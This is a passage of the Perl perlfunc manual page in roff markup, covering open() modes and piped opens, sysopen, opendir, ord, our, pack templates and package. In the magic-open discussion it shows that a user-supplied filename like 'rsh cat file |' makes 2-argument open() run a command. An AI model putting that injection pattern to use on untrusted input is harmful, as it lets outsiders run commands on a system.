or a filehandle, then Perl will do an equivalent of C's \f(CW\*(C`fdopen\*(C'\fR of
that file descriptor (and not call \fIdup\fR\|(2)); this is more
parsimonious of file descriptors. For example:
.Sp
.Vb 2
\& # open for input, reusing the fileno of $fd
\& open(FILEHANDLE, "<&=$fd")
.Ve
.Sp
or
.Sp
.Vb 1
\& open(FILEHANDLE, "<&=", $fd)
.Ve
.Sp
or
.Sp
.Vb 2
\& # open for append, using the fileno of OLDFH
\& open(FH, ">>&=", OLDFH)
.Ve
.Sp
or
.Sp
.Vb 1
\& open(FH, ">>&=OLDFH")
.Ve
.Sp
Being parsimonious on filehandles is also useful (besides being
parsimonious) for example when something is dependent on file
descriptors, like for example locking using \fIflock()\fR. If you do just
\&\f(CW\*(C`open(A, '>>&B')\*(C'\fR, the filehandle A will not have the same file
descriptor as B, and therefore flock(A) will not flock(B), and vice
versa. But with \f(CW\*(C`open(A, '>>&=B')\*(C'\fR the filehandles will share
the same file descriptor.
.Sp
Note that if you are using Perls older than 5.8.0, Perl will be using
the standard C libraries' \fIfdopen()\fR to implement the \*(L"=\*(R" functionality.
On many \s-1UNIX\s0 systems \fIfdopen()\fR fails when file descriptors exceed a
certain value, typically 255. For Perls 5.8.0 and later, PerlIO is
most often the default.
.Sp
You can see whether Perl has been compiled with PerlIO or not by
running \f(CW\*(C`perl \-V\*(C'\fR and looking for \f(CW\*(C`useperlio=\*(C'\fR line. If \f(CW\*(C`useperlio\*(C'\fR
is \f(CW\*(C`define\*(C'\fR, you have PerlIO, otherwise you don't.
.Sp
If you open a pipe on the command \f(CW'\-'\fR, i.e., either \f(CW'|\-'\fR or \f(CW'\-|'\fR
with 2\-arguments (or 1\-argument) form of \fIopen()\fR, then
there is an implicit fork done, and the return value of open is the pid
of the child within the parent process, and \f(CW0\fR within the child
process. (Use \f(CW\*(C`defined($pid)\*(C'\fR to determine whether the open was successful.)
The filehandle behaves normally for the parent, but i/o to that
filehandle is piped from/to the \s-1STDOUT/STDIN\s0 of the child process.
In the child process the filehandle isn't opened\*(--i/o happens from/to
the new \s-1STDOUT\s0 or \s-1STDIN\s0. Typically this is used like the normal
piped open when you want to exercise more control over just how the
pipe command gets executed, such as when you are running setuid, and
don't want to have to scan shell commands for metacharacters.
The following triples are more or less equivalent:
.Sp
.Vb 4
\& open(FOO, "|tr '[a-z]' '[A-Z]'");
\& open(FOO, '|-', "tr '[a-z]' '[A-Z]'");
\& open(FOO, '|-') || exec 'tr', '[a-z]', '[A-Z]';
\& open(FOO, '|-', "tr", '[a-z]', '[A-Z]');
.Ve
.Sp
.Vb 4
\& open(FOO, "cat -n '$file'|");
\& open(FOO, '-|', "cat -n '$file'");
\& open(FOO, '-|') || exec 'cat', '-n', $file;
\& open(FOO, '-|', "cat", '-n', $file);
.Ve
.Sp
The last example in each block shows the pipe as \*(L"list form\*(R", which is
not yet supported on all platforms. A good rule of thumb is that if
your platform has true \f(CW\*(C`fork()\*(C'\fR (in other words, if your platform is
\&\s-1UNIX\s0) you can use the list form.
.Sp
See \*(L"Safe Pipe Opens\*(R" in perlipc for more examples of this.
.Sp
Beginning with v5.6.0, Perl will attempt to flush all files opened for
output before any operation that may do a fork, but this may not be
supported on some platforms (see perlport). To be safe, you may need
to set \f(CW$|\fR ($AUTOFLUSH in English) or call the \f(CW\*(C`autoflush()\*(C'\fR method
of \f(CW\*(C`IO::Handle\*(C'\fR on any open handles.
.Sp
On systems that support a close-on-exec flag on files, the flag will
be set for the newly opened file descriptor as determined by the value
of $^F. See \*(L"$^F\*(R" in perlvar.
.Sp
Closing any piped filehandle causes the parent process to wait for the
child to finish, and returns the status value in \f(CW$?\fR.
.Sp
The filename passed to 2\-argument (or 1\-argument) form of \fIopen()\fR will
have leading and trailing whitespace deleted, and the normal
redirection characters honored. This property, known as \*(L"magic open\*(R",
can often be used to good effect. A user could specify a filename of
\&\fI\*(L"rsh cat file |\*(R"\fR, or you could change certain filenames as needed:
.Sp
.Vb 2
\& $filename =~ s/(.*\e.gz)\es*$/gzip -dc < $1|/;
\& open(FH, $filename) or die "Can't open $filename: $!";
.Ve
.Sp
Use 3\-argument form to open a file with arbitrary weird characters in it,
.Sp
.Vb 1
\& open(FOO, '<', $file);
.Ve
.Sp
otherwise it's necessary to protect any leading and trailing whitespace:
.Sp
.Vb 2
\& $file =~ s#^(\es)#./$1#;
\& open(FOO, "< $file\e0");
.Ve
.Sp
(this may not work on some bizarre filesystems). One should
conscientiously choose between the \fImagic\fR and 3\-arguments form
of \fIopen()\fR:
.Sp
.Vb 1
\& open IN, $ARGV[0];
.Ve
.Sp
will allow the user to specify an argument of the form \f(CW"rsh cat file |"\fR,
but will not work on a filename which happens to have a trailing space, while
.Sp
.Vb 1
\& open IN, '<', $ARGV[0];
.Ve
.Sp
will have exactly the opposite restrictions.
.Sp
If you want a \*(L"real\*(R" C \f(CW\*(C`open\*(C'\fR (see \fIopen\fR\|(2) on your system), then you
should use the \f(CW\*(C`sysopen\*(C'\fR function, which involves no such magic (but
may use subtly different filemodes than Perl \fIopen()\fR, which is mapped
to C \fIfopen()\fR). This is
another way to protect your filenames from interpretation. For example:
.Sp
.Vb 7
\& use IO::Handle;
\& sysopen(HANDLE, $path, O_RDWR|O_CREAT|O_EXCL)
\& or die "sysopen $path: $!";
\& $oldfh = select(HANDLE); $| = 1; select($oldfh);
\& print HANDLE "stuff $$\en";
\& seek(HANDLE, 0, 0);
\& print "File contains: ", <HANDLE>;
.Ve
.Sp
Using the constructor from the \f(CW\*(C`IO::Handle\*(C'\fR package (or one of its
subclasses, such as \f(CW\*(C`IO::File\*(C'\fR or \f(CW\*(C`IO::Socket\*(C'\fR), you can generate anonymous
filehandles that have the scope of whatever variables hold references to
them, and automatically close whenever and however you leave that scope:
.Sp
.Vb 12
\& use IO::File;
\& #...
\& sub read_myfile_munged {
\& my $ALL = shift;
\& my $handle = new IO::File;
\& open($handle, "myfile") or die "myfile: $!";
\& $first = <$handle>
\& or return (); # Automatically closed here.
\& mung $first or die "mung failed"; # Or here.
\& return $first, <$handle> if $ALL; # Or here.
\& $first; # Or here.
\& }
.Ve
.Sp
See \*(L"seek\*(R" for some details about mixing reading and writing.
.IP "opendir \s-1DIRHANDLE\s0,EXPR" 8
.IX Item "opendir DIRHANDLE,EXPR"
Opens a directory named \s-1EXPR\s0 for processing by \f(CW\*(C`readdir\*(C'\fR, \f(CW\*(C`telldir\*(C'\fR,
\&\f(CW\*(C`seekdir\*(C'\fR, \f(CW\*(C`rewinddir\*(C'\fR, and \f(CW\*(C`closedir\*(C'\fR. Returns true if successful.
\&\s-1DIRHANDLE\s0 may be an expression whose value can be used as an indirect
dirhandle, usually the real dirhandle name. If \s-1DIRHANDLE\s0 is an undefined
scalar variable (or array or hash element), the variable is assigned a
reference to a new anonymous dirhandle.
DIRHANDLEs have their own namespace separate from FILEHANDLEs.
.IP "ord \s-1EXPR\s0" 8
.IX Item "ord EXPR"
.PD 0
.IP "ord" 8
.IX Item "ord"
.PD
Returns the numeric (the native 8\-bit encoding, like \s-1ASCII\s0 or \s-1EBCDIC\s0,
or Unicode) value of the first character of \s-1EXPR\s0. If \s-1EXPR\s0 is omitted,
uses \f(CW$_\fR.
.Sp
For the reverse, see \*(L"chr\*(R".
See perlunicode and encoding for more about Unicode.
.IP "our \s-1EXPR\s0" 8
.IX Item "our EXPR"
.PD 0
.IP "our \s-1EXPR\s0 \s-1TYPE\s0" 8
.IX Item "our EXPR TYPE"
.IP "our \s-1EXPR\s0 : \s-1ATTRS\s0" 8
.IX Item "our EXPR : ATTRS"
.IP "our \s-1TYPE\s0 \s-1EXPR\s0 : \s-1ATTRS\s0" 8
.IX Item "our TYPE EXPR : ATTRS"
.PD
An \f(CW\*(C`our\*(C'\fR declares the listed variables to be valid globals within
the enclosing block, file, or \f(CW\*(C`eval\*(C'\fR. That is, it has the same
scoping rules as a \*(L"my\*(R" declaration, but does not create a local
variable. If more than one value is listed, the list must be placed
in parentheses. The \f(CW\*(C`our\*(C'\fR declaration has no semantic effect unless
\&\*(L"use strict vars\*(R" is in effect, in which case it lets you use the
declared global variable without qualifying it with a package name.
(But only within the lexical scope of the \f(CW\*(C`our\*(C'\fR declaration. In this
it differs from \*(L"use vars\*(R", which is package scoped.)
.Sp
An \f(CW\*(C`our\*(C'\fR declaration declares a global variable that will be visible
across its entire lexical scope, even across package boundaries. The
package in which the variable is entered is determined at the point
of the declaration, not at the point of use. This means the following
behavior holds:
.Sp
.Vb 3
\& package Foo;
\& our $bar; # declares $Foo::bar for rest of lexical scope
\& $bar = 20;
.Ve
.Sp
.Vb 2
\& package Bar;
\& print $bar; # prints 20
.Ve
.Sp
Multiple \f(CW\*(C`our\*(C'\fR declarations in the same lexical scope are allowed
if they are in different packages. If they happened to be in the same
package, Perl will emit warnings if you have asked for them.
.Sp
.Vb 4
\& use warnings;
\& package Foo;
\& our $bar; # declares $Foo::bar for rest of lexical scope
\& $bar = 20;
.Ve
.Sp
.Vb 3
\& package Bar;
\& our $bar = 30; # declares $Bar::bar for rest of lexical scope
\& print $bar; # prints 30
.Ve
.Sp
.Vb 1
\& our $bar; # emits warning
.Ve
.Sp
An \f(CW\*(C`our\*(C'\fR declaration may also have a list of attributes associated
with it.
.Sp
The exact semantics and interface of \s-1TYPE\s0 and \s-1ATTRS\s0 are still
evolving. \s-1TYPE\s0 is currently bound to the use of \f(CW\*(C`fields\*(C'\fR pragma,
and attributes are handled using the \f(CW\*(C`attributes\*(C'\fR pragma, or starting
from Perl 5.8.0 also via the \f(CW\*(C`Attribute::Handlers\*(C'\fR module. See
\&\*(L"Private Variables via \fImy()\fR\*(R" in perlsub for details, and fields,
attributes, and Attribute::Handlers.
.Sp
The only currently recognized \f(CW\*(C`our()\*(C'\fR attribute is \f(CW\*(C`unique\*(C'\fR which
indicates that a single copy of the global is to be used by all
interpreters should the program happen to be running in a
multi-interpreter environment. (The default behaviour would be for
each interpreter to have its own copy of the global.) Examples:
.Sp
.Vb 3
\& our @EXPORT : unique = qw(foo);
\& our %EXPORT_TAGS : unique = (bar => [qw(aa bb cc)]);
\& our $VERSION : unique = "1.00";
.Ve
.Sp
Note that this attribute also has the effect of making the global
readonly when the first new interpreter is cloned (for example,
when the first new thread is created).
.Sp
Multi-interpreter environments can come to being either through the
\&\fIfork()\fR emulation on Windows platforms, or by embedding perl in a
multi-threaded application. The \f(CW\*(C`unique\*(C'\fR attribute does nothing in
all other environments.
.IP "pack \s-1TEMPLATE\s0,LIST" 8
.IX Item "pack TEMPLATE,LIST"
Takes a \s-1LIST\s0 of values and converts it into a string using the rules
given by the \s-1TEMPLATE\s0. The resulting string is the concatenation of
the converted values. Typically, each converted value looks
like its machine-level representation. For example, on 32\-bit machines
a converted integer may be represented by a sequence of 4 bytes.
.Sp
The \s-1TEMPLATE\s0 is a sequence of characters that give the order and type
of values, as follows:
.Sp
.Vb 3
\& a A string with arbitrary binary data, will be null padded.
\& A A text (ASCII) string, will be space padded.
\& Z A null terminated (ASCIZ) string, will be null padded.
.Ve
.Sp
.Vb 4
\& b A bit string (ascending bit order inside each byte, like vec()).
\& B A bit string (descending bit order inside each byte).
\& h A hex string (low nybble first).
\& H A hex string (high nybble first).
.Ve
.Sp
.Vb 2
\& c A signed char value.
\& C An unsigned char value. Only does bytes. See U for Unicode.
.Ve
.Sp
.Vb 5
\& s A signed short value.
\& S An unsigned short value.
\& (This 'short' is _exactly_ 16 bits, which may differ from
\& what a local C compiler calls 'short'. If you want
\& native-length shorts, use the '!' suffix.)
.Ve
.Sp
.Vb 6
\& i A signed integer value.
\& I An unsigned integer value.
\& (This 'integer' is _at_least_ 32 bits wide. Its exact
\& size depends on what a local C compiler calls 'int',
\& and may even be larger than the 'long' described in
\& the next item.)
.Ve
.Sp
.Vb 5
\& l A signed long value.
\& L An unsigned long value.
\& (This 'long' is _exactly_ 32 bits, which may differ from
\& what a local C compiler calls 'long'. If you want
\& native-length longs, use the '!' suffix.)
.Ve
.Sp
.Vb 6
\& n An unsigned short in "network" (big-endian) order.
\& N An unsigned long in "network" (big-endian) order.
\& v An unsigned short in "VAX" (little-endian) order.
\& V An unsigned long in "VAX" (little-endian) order.
\& (These 'shorts' and 'longs' are _exactly_ 16 bits and
\& _exactly_ 32 bits, respectively.)
.Ve
.Sp
.Vb 5
\& q A signed quad (64-bit) value.
\& Q An unsigned quad value.
\& (Quads are available only if your system supports 64-bit
\& integer values _and_ if Perl has been compiled to support those.
\& Causes a fatal error otherwise.)
.Ve
.Sp
.Vb 2
\& j A signed integer value (a Perl internal integer, IV).
\& J An unsigned integer value (a Perl internal unsigned integer, UV).
.Ve
.Sp
.Vb 2
\& f A single-precision float in the native format.
\& d A double-precision float in the native format.
.Ve
.Sp
.Vb 6
\& F A floating point value in the native native format
\& (a Perl internal floating point value, NV).
\& D A long double-precision float in the native format.
\& (Long doubles are available only if your system supports long
\& double values _and_ if Perl has been compiled to support those.
\& Causes a fatal error otherwise.)
.Ve
.Sp
.Vb 2
\& p A pointer to a null-terminated string.
\& P A pointer to a structure (fixed-length string).
.Ve
.Sp
.Vb 3
\& u A uuencoded string.
\& U A Unicode character number. Encodes to UTF-8 internally
\& (or UTF-EBCDIC in EBCDIC platforms).
.Ve
.Sp
.Vb 4
\& w A BER compressed integer. Its bytes represent an unsigned
\& integer in base 128, most significant digit first, with as
\& few digits as possible. Bit eight (the high bit) is set
\& on each byte except the last.
.Ve
.Sp
.Vb 5
\& x A null byte.
\& X Back up a byte.
\& @ Null fill to absolute position, counted from the start of
\& the innermost ()-group.
\& ( Start of a ()-group.
.Ve
.Sp
The following rules apply:
.RS 8
.IP "*" 8
Each letter may optionally be followed by a number giving a repeat
count. With all types except \f(CW\*(C`a\*(C'\fR, \f(CW\*(C`A\*(C'\fR, \f(CW\*(C`Z\*(C'\fR, \f(CW\*(C`b\*(C'\fR, \f(CW\*(C`B\*(C'\fR, \f(CW\*(C`h\*(C'\fR,
\&\f(CW\*(C`H\*(C'\fR, \f(CW\*(C`@\*(C'\fR, \f(CW\*(C`x\*(C'\fR, \f(CW\*(C`X\*(C'\fR and \f(CW\*(C`P\*(C'\fR the pack function will gobble up that
many values from the \s-1LIST\s0. A \f(CW\*(C`*\*(C'\fR for the repeat count means to use
however many items are left, except for \f(CW\*(C`@\*(C'\fR, \f(CW\*(C`x\*(C'\fR, \f(CW\*(C`X\*(C'\fR, where it is
equivalent to \f(CW0\fR, and \f(CW\*(C`u\*(C'\fR, where it is equivalent to 1 (or 45, what
is the same). A numeric repeat count may optionally be enclosed in
brackets, as in \f(CW\*(C`pack 'C[80]', @arr\*(C'\fR.
.Sp
One can replace the numeric repeat count by a template enclosed in brackets;
then the packed length of this template in bytes is used as a count.
For example, \f(CW\*(C`x[L]\*(C'\fR skips a long (it skips the number of bytes in a long);
the template \f(CW\*(C`$t X[$t] $t\*(C'\fR \fIunpack()\fRs twice what \f(CW$t\fR unpacks.
If the template in brackets contains alignment commands (such as \f(CW\*(C`x![d]\*(C'\fR),
its packed length is calculated as if the start of the template has the maximal
possible alignment.
.Sp
When used with \f(CW\*(C`Z\*(C'\fR, \f(CW\*(C`*\*(C'\fR results in the addition of a trailing null
byte (so the packed result will be one longer than the byte \f(CW\*(C`length\*(C'\fR
of the item).
.Sp
The repeat count for \f(CW\*(C`u\*(C'\fR is interpreted as the maximal number of bytes
to encode per line of output, with 0 and 1 replaced by 45.
.IP "*" 8
The \f(CW\*(C`a\*(C'\fR, \f(CW\*(C`A\*(C'\fR, and \f(CW\*(C`Z\*(C'\fR types gobble just one value, but pack it as a
string of length count, padding with nulls or spaces as necessary. When
unpacking, \f(CW\*(C`A\*(C'\fR strips trailing spaces and nulls, \f(CW\*(C`Z\*(C'\fR strips everything
after the first null, and \f(CW\*(C`a\*(C'\fR returns data verbatim. When packing,
\&\f(CW\*(C`a\*(C'\fR, and \f(CW\*(C`Z\*(C'\fR are equivalent.
.Sp
If the value-to-pack is too long, it is truncated. If too long and an
explicit count is provided, \f(CW\*(C`Z\*(C'\fR packs only \f(CW\*(C`$count\-1\*(C'\fR bytes, followed
by a null byte. Thus \f(CW\*(C`Z\*(C'\fR always packs a trailing null byte under
all circumstances.
.IP "*" 8
Likewise, the \f(CW\*(C`b\*(C'\fR and \f(CW\*(C`B\*(C'\fR fields pack a string that many bits long.
Each byte of the input field of \fIpack()\fR generates 1 bit of the result.
Each result bit is based on the least-significant bit of the corresponding
input byte, i.e., on \f(CW\*(C`ord($byte)%2\*(C'\fR. In particular, bytes \f(CW"0"\fR and
\&\f(CW"1"\fR generate bits 0 and 1, as do bytes \f(CW"\e0"\fR and \f(CW"\e1"\fR.
.Sp
Starting from the beginning of the input string of \fIpack()\fR, each 8\-tuple
of bytes is converted to 1 byte of output. With format \f(CW\*(C`b\*(C'\fR
the first byte of the 8\-tuple determines the least-significant bit of a
byte, and with format \f(CW\*(C`B\*(C'\fR it determines the most-significant bit of
a byte.
.Sp
If the length of the input string is not exactly divisible by 8, the
remainder is packed as if the input string were padded by null bytes
at the end. Similarly, during \fIunpack()\fRing the \*(L"extra\*(R" bits are ignored.
.Sp
If the input string of \fIpack()\fR is longer than needed, extra bytes are ignored.
A \f(CW\*(C`*\*(C'\fR for the repeat count of \fIpack()\fR means to use all the bytes of
the input field. On \fIunpack()\fRing the bits are converted to a string
of \f(CW"0"\fRs and \f(CW"1"\fRs.
.IP "*" 8
The \f(CW\*(C`h\*(C'\fR and \f(CW\*(C`H\*(C'\fR fields pack a string that many nybbles (4\-bit groups,
representable as hexadecimal digits, 0\-9a\-f) long.
.Sp
Each byte of the input field of \fIpack()\fR generates 4 bits of the result.
For non-alphabetical bytes the result is based on the 4 least-significant
bits of the input byte, i.e., on \f(CW\*(C`ord($byte)%16\*(C'\fR. In particular,
bytes \f(CW"0"\fR and \f(CW"1"\fR generate nybbles 0 and 1, as do bytes
\&\f(CW"\e0"\fR and \f(CW"\e1"\fR. For bytes \f(CW"a".."f"\fR and \f(CW"A".."F"\fR the result
is compatible with the usual hexadecimal digits, so that \f(CW"a"\fR and
\&\f(CW"A"\fR both generate the nybble \f(CW\*(C`0xa==10\*(C'\fR. The result for bytes
\&\f(CW"g".."z"\fR and \f(CW"G".."Z"\fR is not well\-defined.
.Sp
Starting from the beginning of the input string of \fIpack()\fR, each pair
of bytes is converted to 1 byte of output. With format \f(CW\*(C`h\*(C'\fR the
first byte of the pair determines the least-significant nybble of the
output byte, and with format \f(CW\*(C`H\*(C'\fR it determines the most-significant
nybble.
.Sp
If the length of the input string is not even, it behaves as if padded
by a null byte at the end. Similarly, during \fIunpack()\fRing the \*(L"extra\*(R"
nybbles are ignored.
.Sp
If the input string of \fIpack()\fR is longer than needed, extra bytes are ignored.
A \f(CW\*(C`*\*(C'\fR for the repeat count of \fIpack()\fR means to use all the bytes of
the input field. On \fIunpack()\fRing the bits are converted to a string
of hexadecimal digits.
.IP "*" 8
The \f(CW\*(C`p\*(C'\fR type packs a pointer to a null-terminated string. You are
responsible for ensuring the string is not a temporary value (which can
potentially get deallocated before you get around to using the packed result).
The \f(CW\*(C`P\*(C'\fR type packs a pointer to a structure of the size indicated by the
length. A \s-1NULL\s0 pointer is created if the corresponding value for \f(CW\*(C`p\*(C'\fR or
\&\f(CW\*(C`P\*(C'\fR is \f(CW\*(C`undef\*(C'\fR, similarly for \fIunpack()\fR.
.IP "*" 8
The \f(CW\*(C`/\*(C'\fR template character allows packing and unpacking of strings where
the packed structure contains a byte count followed by the string itself.
You write \fIlength-item\fR\f(CW\*(C`/\*(C'\fR\fIstring-item\fR.
.Sp
The \fIlength-item\fR can be any \f(CW\*(C`pack\*(C'\fR template letter, and describes
how the length value is packed. The ones likely to be of most use are
integer-packing ones like \f(CW\*(C`n\*(C'\fR (for Java strings), \f(CW\*(C`w\*(C'\fR (for \s-1ASN\s0.1 or
\&\s-1SNMP\s0) and \f(CW\*(C`N\*(C'\fR (for Sun \s-1XDR\s0).
.Sp
For \f(CW\*(C`pack\*(C'\fR, the \fIstring-item\fR must, at present, be \f(CW"A*"\fR, \f(CW"a*"\fR or
\&\f(CW"Z*"\fR. For \f(CW\*(C`unpack\*(C'\fR the length of the string is obtained from the
\&\fIlength-item\fR, but if you put in the '*' it will be ignored. For all other
codes, \f(CW\*(C`unpack\*(C'\fR applies the length value to the next item, which must not
have a repeat count.
.Sp
.Vb 3
\& unpack 'C/a', "\e04Gurusamy"; gives 'Guru'
\& unpack 'a3/A* A*', '007 Bond J '; gives (' Bond','J')
\& pack 'n/a* w/a*','hello,','world'; gives "\e000\e006hello,\e005world"
.Ve
.Sp
The \fIlength-item\fR is not returned explicitly from \f(CW\*(C`unpack\*(C'\fR.
.Sp
Adding a count to the \fIlength-item\fR letter is unlikely to do anything
useful, unless that letter is \f(CW\*(C`A\*(C'\fR, \f(CW\*(C`a\*(C'\fR or \f(CW\*(C`Z\*(C'\fR. Packing with a
\&\fIlength-item\fR of \f(CW\*(C`a\*(C'\fR or \f(CW\*(C`Z\*(C'\fR may introduce \f(CW"\e000"\fR characters,
which Perl does not regard as legal in numeric strings.
.IP "*" 8
The integer types \f(CW\*(C`s\*(C'\fR, \f(CW\*(C`S\*(C'\fR, \f(CW\*(C`l\*(C'\fR, and \f(CW\*(C`L\*(C'\fR may be
immediately followed by a \f(CW\*(C`!\*(C'\fR suffix to signify native shorts or
longs\*(--as you can see from above for example a bare \f(CW\*(C`l\*(C'\fR does mean
exactly 32 bits, the native \f(CW\*(C`long\*(C'\fR (as seen by the local C compiler)
may be larger. This is an issue mainly in 64\-bit platforms. You can
see whether using \f(CW\*(C`!\*(C'\fR makes any difference by
.Sp
.Vb 2
\& print length(pack("s")), " ", length(pack("s!")), "\en";
\& print length(pack("l")), " ", length(pack("l!")), "\en";
.Ve
.Sp
\&\f(CW\*(C`i!\*(C'\fR and \f(CW\*(C`I!\*(C'\fR also work but only because of completeness;
they are identical to \f(CW\*(C`i\*(C'\fR and \f(CW\*(C`I\*(C'\fR.
.Sp
The actual sizes (in bytes) of native shorts, ints, longs, and long
longs on the platform where Perl was built are also available via
Config:
.Sp
.Vb 5
\& use Config;
\& print $Config{shortsize}, "\en";
\& print $Config{intsize}, "\en";
\& print $Config{longsize}, "\en";
\& print $Config{longlongsize}, "\en";
.Ve
.Sp
(The \f(CW$Config{longlongsize}\fR will be undefined if your system does
not support long longs.)
.IP "*" 8
The integer formats \f(CW\*(C`s\*(C'\fR, \f(CW\*(C`S\*(C'\fR, \f(CW\*(C`i\*(C'\fR, \f(CW\*(C`I\*(C'\fR, \f(CW\*(C`l\*(C'\fR, \f(CW\*(C`L\*(C'\fR, \f(CW\*(C`j\*(C'\fR, and \f(CW\*(C`J\*(C'\fR
are inherently non-portable between processors and operating systems
because they obey the native byteorder and endianness. For example a
4\-byte integer 0x12345678 (305419896 decimal) would be ordered natively
(arranged in and handled by the \s-1CPU\s0 registers) into bytes as
.Sp
.Vb 2
\& 0x12 0x34 0x56 0x78 # big-endian
\& 0x78 0x56 0x34 0x12 # little-endian
.Ve
.Sp
Basically, the Intel and \s-1VAX\s0 CPUs are little\-endian, while everybody
else, for example Motorola m68k/88k, \s-1PPC\s0, Sparc, \s-1HP\s0 \s-1PA\s0, Power, and
Cray are big\-endian. Alpha and \s-1MIPS\s0 can be either: Digital/Compaq
used/uses them in little-endian mode; SGI/Cray uses them in big-endian
mode.
.Sp
The names `big\-endian' and `little\-endian' are comic references to
the classic \*(L"Gulliver's Travels\*(R" (via the paper \*(L"On Holy Wars and a
Plea for Peace\*(R" by Danny Cohen, \s-1USC/ISI\s0 \s-1IEN\s0 137, April 1, 1980) and
the egg-eating habits of the Lilliputians.
.Sp
Some systems may have even weirder byte orders such as
.Sp
.Vb 2
\& 0x56 0x78 0x12 0x34
\& 0x34 0x12 0x78 0x56
.Ve
.Sp
You can see your system's preference with
.Sp
.Vb 2
\& print join(" ", map { sprintf "%#02x", $_ }
\& unpack("C*",pack("L",0x12345678))), "\en";
.Ve
.Sp
The byteorder on the platform where Perl was built is also available
via Config:
.Sp
.Vb 2
\& use Config;
\& print $Config{byteorder}, "\en";
.Ve
.Sp
Byteorders \f(CW'1234'\fR and \f(CW'12345678'\fR are little\-endian, \f(CW'4321'\fR
and \f(CW'87654321'\fR are big\-endian.
.Sp
If you want portable packed integers use the formats \f(CW\*(C`n\*(C'\fR, \f(CW\*(C`N\*(C'\fR,
\&\f(CW\*(C`v\*(C'\fR, and \f(CW\*(C`V\*(C'\fR, their byte endianness and size are known.
See also perlport.
.IP "*" 8
Real numbers (floats and doubles) are in the native machine format only;
due to the multiplicity of floating formats around, and the lack of a
standard \*(L"network\*(R" representation, no facility for interchange has been
made. This means that packed floating point data written on one machine
may not be readable on another \- even if both use \s-1IEEE\s0 floating point
arithmetic (as the endian-ness of the memory representation is not part
of the \s-1IEEE\s0 spec). See also perlport.
.Sp
Note that Perl uses doubles internally for all numeric calculation, and
converting from double into float and thence back to double again will
lose precision (i.e., \f(CW\*(C`unpack("f", pack("f", $foo)\*(C'\fR) will not in general
equal \f(CW$foo\fR).
.IP "*" 8
If the pattern begins with a \f(CW\*(C`U\*(C'\fR, the resulting string will be
treated as UTF\-8\-encoded Unicode. You can force \s-1UTF\-8\s0 encoding on in a
string with an initial \f(CW\*(C`U0\*(C'\fR, and the bytes that follow will be
interpreted as Unicode characters. If you don't want this to happen,
you can begin your pattern with \f(CW\*(C`C0\*(C'\fR (or anything else) to force Perl
not to \s-1UTF\-8\s0 encode your string, and then follow this with a \f(CW\*(C`U*\*(C'\fR
somewhere in your pattern.
.IP "*" 8
You must yourself do any alignment or padding by inserting for example
enough \f(CW'x'\fRes while packing. There is no way to \fIpack()\fR and \fIunpack()\fR
could know where the bytes are going to or coming from. Therefore
\&\f(CW\*(C`pack\*(C'\fR (and \f(CW\*(C`unpack\*(C'\fR) handle their output and input as flat
sequences of bytes.
.IP "*" 8
A ()\-group is a sub-TEMPLATE enclosed in parentheses. A group may
take a repeat count, both as postfix, and for \fIunpack()\fR also via the \f(CW\*(C`/\*(C'\fR
template character. Within each repetition of a group, positioning with
\&\f(CW\*(C`@\*(C'\fR starts again at 0. Therefore, the result of
.Sp
.Vb 1
\& pack( '@1A((@2A)@3A)', 'a', 'b', 'c' )
.Ve
.Sp
is the string \*(L"\e0a\e0\e0bc\*(R".
.IP "*" 8
\&\f(CW\*(C`x\*(C'\fR and \f(CW\*(C`X\*(C'\fR accept \f(CW\*(C`!\*(C'\fR modifier. In this case they act as
alignment commands: they jump forward/back to the closest position
aligned at a multiple of \f(CW\*(C`count\*(C'\fR bytes. For example, to \fIpack()\fR or
\&\fIunpack()\fR C's \f(CW\*(C`struct {char c; double d; char cc[2]}\*(C'\fR one may need to
use the template \f(CW\*(C`C x![d] d C[2]\*(C'\fR; this assumes that doubles must be
aligned on the double's size.
.Sp
For alignment commands \f(CW\*(C`count\*(C'\fR of 0 is equivalent to \f(CW\*(C`count\*(C'\fR of 1;
both result in no\-ops.
.IP "*" 8
A comment in a \s-1TEMPLATE\s0 starts with \f(CW\*(C`#\*(C'\fR and goes to the end of line.
White space may be used to separate pack codes from each other, but
a \f(CW\*(C`!\*(C'\fR modifier and a repeat count must follow immediately.
.IP "*" 8
If \s-1TEMPLATE\s0 requires more arguments to \fIpack()\fR than actually given, \fIpack()\fR
assumes additional \f(CW""\fR arguments. If \s-1TEMPLATE\s0 requires less arguments
to \fIpack()\fR than actually given, extra arguments are ignored.
.RE
.RS 8
.Sp
Examples:
.Sp
.Vb 6
\& $foo = pack("CCCC",65,66,67,68);
\& # foo eq "ABCD"
\& $foo = pack("C4",65,66,67,68);
\& # same thing
\& $foo = pack("U4",0x24b6,0x24b7,0x24b8,0x24b9);
\& # same thing with Unicode circled letters
.Ve
.Sp
.Vb 2
\& $foo = pack("ccxxcc",65,66,67,68);
\& # foo eq "AB\e0\e0CD"
.Ve
.Sp
.Vb 4
\& # note: the above examples featuring "C" and "c" are true
\& # only on ASCII and ASCII-derived systems such as ISO Latin 1
\& # and UTF-8. In EBCDIC the first example would be
\& # $foo = pack("CCCC",193,194,195,196);
.Ve
.Sp
.Vb 3
\& $foo = pack("s2",1,2);
\& # "\e1\e0\e2\e0" on little-endian
\& # "\e0\e1\e0\e2" on big-endian
.Ve
.Sp
.Vb 2
\& $foo = pack("a4","abcd","x","y","z");
\& # "abcd"
.Ve
.Sp
.Vb 2
\& $foo = pack("aaaa","abcd","x","y","z");
\& # "axyz"
.Ve
.Sp
.Vb 2
\& $foo = pack("a14","abcdefg");
\& # "abcdefg\e0\e0\e0\e0\e0\e0\e0"
.Ve
.Sp
.Vb 2
\& $foo = pack("i9pl", gmtime);
\& # a real struct tm (on my system anyway)
.Ve
.Sp
.Vb 3
\& $utmp_template = "Z8 Z8 Z16 L";
\& $utmp = pack($utmp_template, @utmp1);
\& # a struct utmp (BSDish)
.Ve
.Sp
.Vb 2
\& @utmp2 = unpack($utmp_template, $utmp);
\& # "@utmp1" eq "@utmp2"
.Ve
.Sp
.Vb 3
\& sub bintodec {
\& unpack("N", pack("B32", substr("0" x 32 . shift, -32)));
\& }
.Ve
.Sp
.Vb 5
\& $foo = pack('sx2l', 12, 34);
\& # short 12, two zero bytes padding, long 34
\& $bar = pack('s@4l', 12, 34);
\& # short 12, zero fill to position 4, long 34
\& # $foo eq $bar
.Ve
.Sp
The same template may generally also be used in \fIunpack()\fR.
.RE
.IP "package \s-1NAMESPACE\s0" 8
.IX Item "package NAMESPACE"
.PD 0
.IP "package" 8
.IX Item "package"
.PD
Declares the compilation unit as being in the given namespace. The scope
of the package declaration is from the declaration itself through the end
of the enclosing block, file, or eval (the same as the \f(CW\*(C`my\*(C'\fR operator).
